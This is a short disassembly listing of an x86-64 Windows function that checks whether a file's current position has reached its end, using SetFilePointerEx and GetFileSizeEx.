mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140066d76
mov al, 1
jmp 0x140066dd6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140066d87
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140066dd4
mov ecx, dword [rcx + 0x18]
nop
call fcn.14006be04
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140066dd4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140066dd4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140066dd4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140066dd6
xor al, al
add rsp, 0x20
pop rbx
ret